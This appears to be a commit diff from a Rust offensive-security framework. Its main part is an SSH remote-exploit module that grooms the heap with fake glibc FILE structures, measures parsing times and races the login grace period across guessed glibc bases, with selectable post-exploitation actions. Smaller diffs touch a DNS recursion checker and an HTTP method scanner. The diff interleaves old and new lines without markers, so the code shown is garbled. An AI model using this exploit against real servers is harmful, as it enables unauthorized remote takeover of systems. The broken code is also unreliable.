async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
send_packet(stream, 5, &tcache_chunk).await?;
}
for i in 0..27 {
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
send_packet(stream, 5, &small_hole).await?;
}
for i in 0..27 {
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, &error_packet_data).await?;
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
Err(_) => Ok(true),
}
}
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
}
}
execute_exploit_logic(ip_address, port_num).await
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
io::stdout().flush().ok();
let mut choice_str = String::new();
io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
+6 -9
View File
@@ -124,12 +124,12 @@ async fn query_target(
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
report_result(&message, name, record_type);
report_result(&message, display_target, record_type);
Ok(())
}
fn report_result(message: &Message, name: &Name, record_type: RecordType) {
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
@@ -162,7 +162,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
name,
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
@@ -178,7 +178,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
name
display_target
)
.yellow()
);
@@ -187,7 +187,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
name
display_target
)
.red()
);
@@ -632,7 +632,4 @@ fn validate_domain_input(input: &str) -> Result<String> {
));
}
Ok(without_dot.to_lowercase())
}
}
+59 -61
View File
@@ -8,14 +8,14 @@ use std::time::Duration;
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
@@ -55,7 +55,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
false,
)?;
let ports = if use_ports {
prompt_ports()?
@@ -65,10 +65,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
@@ -88,11 +88,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
@@ -110,10 +110,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
@@ -126,10 +126,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
if verbose {
println!(
" [{}] {} -> {} ({:.2?})",
method_name,
target,
status,
elapsed
method_name,
target,
status,
elapsed
);
} else {
println!(" [{}] {}", method_name, status);
@@ -137,19 +137,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
if verbose {
println!(
" [{}] {} -> error: {} ({:.2?})",
method_name,
target,
err,
elapsed
method_name,
target,
err,
elapsed
);
} else {
println!(" [{}] error: {}", method_name, err);
@@ -159,7 +159,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
duration_ms: elapsed.as_millis(),
});
}
}
@@ -167,7 +167,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
results: method_results,
});
}
@@ -178,7 +178,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
@@ -192,11 +192,11 @@ fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
);
}
@@ -211,15 +211,15 @@ fn collect_initial_targets(initial_target: &str) -> Vec<String> {
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
@@ -233,8 +233,8 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
@@ -253,11 +253,10 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
@@ -281,14 +280,14 @@ fn prompt(message: &str) -> Result<String> {
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(&format!("{}", message))?;
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
@@ -358,20 +357,19 @@ fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method,
error,
method.duration_ms
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB